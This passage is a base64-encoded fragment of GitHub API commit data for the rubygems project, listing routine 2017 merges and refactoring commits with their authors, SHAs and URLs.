XRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3Yvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5In1dfSx7InNoYSI6ImZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMTdUMjI6MDA6MDBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTE3VDIyOjAwOjAwWiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjEwMSAtIG9sbGVvbGxlb2xsZTpmdXJ0aGVyLWNsZWFuaW5nLXRoZS1saWNlbnNlcy1zdXBwb3J0LWNvZGUsIHI9c2VnaWRkaW5zXG5cbkV4dHJhY3QgYSBTcGVjaWZpY2F0aW9uUG9saWN5IHZhbGlkYXRpb24gY2xhc3NcblxuIyBEZXNjcmlwdGlvbjpcblxuVGhlIFNwZWNpZmljYXRpb24gY2xhc3MgaXMgMzAwMCBsaW5lcyBsb25nLlxuXG5UaGlzIFBSIGV4dHJhY3RzIGEgYFNwZWNpZmljYXRpb25Qb2xpY3lgIGRlbGVnYXRlIGNsYXNzLCB3aGljaCBwZXJmb3JtcyB2YWxpZGF0aW9uIG9uIGBTcGVjaWZpY2F0aW9uYC5cblxuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbeF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFsgXSBXcml0ZSB0ZXN0c1xuLSBbeF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbeF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsInRyZWUiOnsic2hhIjoiYWJiNjgzOTk0OTc4MDA2MDBkOWMyMDYxM2RmYzRjYWM1N2NlYzhjMiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2FiYjY4Mzk5NDk3ODAwNjAwZDljMjA2MTNkZmM0Y2FjNTdjZWM4YzIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkifSx7InNoYSI6ImJkZjFhODYyNmJiOGFkYmYyZDIwMTRkMWNlNDc4ZGM4ZGRmMjU3OTAiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYmRmMWE4NjI2YmI4YWRiZjJkMjAxNGQxY2U0NzhkYzhkZGYyNTc5MCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9iZGYxYTg2MjZiYjhhZGJmMmQyMDE0ZDFjZTQ3OGRjOGRkZjI1NzkwIn1dfSx7InNoYSI6ImJkZjFhODYyNmJiOGFkYmYyZDIwMTRkMWNlNDc4ZGM4ZGRmMjU3OTAiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMi0xM1QwODozNzoxMFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMi0xM1QwODozNzoxMFoifSwibWVzc2FnZSI6IlNwZWNpZmljYXRpb25Qb2xpY3kjdmFsaWRhdGUgaXMgdGhlIG5ldyBuYW1lXG5cbiAgLSBFeHRyYWN0IGNvbnN0YW50c1xuICAtIEFkZCBkb2N1bWVudGF0aW9uIiwidHJlZSI6eyJzaGEiOiIzZDg2MWIyZWY3Y2I2MDM1ZTk4YjdhMmMzZWNjNTIzMmM4ZDJhYzc0IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvM2Q4NjFiMmVmN2NiNjAzNWU5OGI3YTJjM2VjYzUyMzJjOGQyYWM3NCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2JkZjFhODYyNmJiOGFkYmYyZDIwMTRkMWNlNDc4ZGM4ZGRmMjU3OTAiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYmRmMWE4NjI2YmI4YWRiZjJkMjAxNGQxY2U0NzhkYzhkZGYyNTc5MCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9iZGYxYTg2MjZiYjhhZGJmMmQyMDE0ZDFjZTQ3OGRjOGRkZjI1NzkwIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JkZjFhODYyNmJiOGFkYmYyZDIwMTRkMWNlNDc4ZGM4ZGRmMjU3OTAvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJvbGxlb2xsZW9sbGUiLCJpZCI6MjExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29sbGVvbGxlb2xsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6Im9sbGVvbGxlb2xsZSIsImlkIjoyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb2xsZW9sbGVvbGxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYzAyMDVmNjk1NmUyN2UxNDc3MTU0NTZkOGJjZDFlMTBjOWI4ZGQ4YiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMDIwNWY2OTU2ZTI3ZTE0NzcxNTQ1NmQ4YmNkMWUxMGM5YjhkZDhiIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2MwMjA1ZjY5NTZlMjdlMTQ3NzE1NDU2ZDhiY2QxZTEwYzliOGRkOGIifV19LHsic2hhIjoiZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0xMVQyMDo1MTowM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMTFUMjA6NTE6MDNaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTEwIC0gcnVieWdlbXM6Y29sYnkvdXBkYXRlLWV4cGxhaW4sIHI9c2VnaWRkaW5zXG5cbmhhbmRsZSB0aGUgZXhwbGFpbiBvcHRpb24gaW4gZ2VtIHVwZGF0ZVxuXG7igKYgYW5kIHZlcnNpb25zIG9mIGdlbXMgdGhhdCBjYW4gYmUgdXBkYXRlZFxuXG4jIERlc2NyaXB0aW9uOlxuXG5UaGlzIFBSIGZpeGVzICMyMDY4IGJ5IHVwZGF0aW5nIHRoZSBgZ2VtIHVwZGF0ZWAgY29tbWFuZCB0byBoYW5kbGUgdGhlIGV4cGxhaW4gb3B0aW9uLlxuXG4jIFRhc2tzOlxuXG4tIFsgXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiI0NDVjNTY0MDUzNGJjMzdmZDVmYzAyMzU1NjRlOTgyMGZmZTBiN2YzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvNDQ1YzU2NDA1MzRiYzM3ZmQ1ZmMwMjM1NTY0ZTk4MjBmZmUwYjdmMyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2RmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2MmRiZGM1YTA2ZmQ4ZDc0MGU5Y2U2NWM4ZjU2MTlkODAzNjY2NzNkIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYyZGJkYzVhMDZmZDhkNzQwZTljZTY1YzhmNTYxOWQ4MDM2NjY3M2QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjJkYmRjNWEwNmZkOGQ3NDBlOWNlNjVjOGY1NjE5ZDgwMzY2NjczZCJ9LHsic2hhIjoiNjNlNmVhZWJkZjFmZWJlYTZkM2U4YmQzMjRmYWNiYTYwMDljMGJiNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82M2U2ZWFlYmRmMWZlYmVhNmQzZThiZDMyNGZhY2JhNjAwOWMwYmI0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzYzZTZlYWViZGYxZmViZWE2ZDNlOGJkMzI0ZmFjYmE2MDA5YzBiYjQifV19LHsic2hhIjoiNjNlNmVhZWJkZjFmZWJlYTZkM2U4YmQzMjRmYWNiYTYwMDljMGJiNCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkNvbGJ5IFN3YW5kYWxlIiwiZW1haWwiOiJjb2xieUB0YXBsYWJvcmF0b3JpZXMuY29tIiwiZGF0ZSI6IjIwMTctMTItMTFUMTI6MjY6NDVaIn0sImNvbW1pdHRl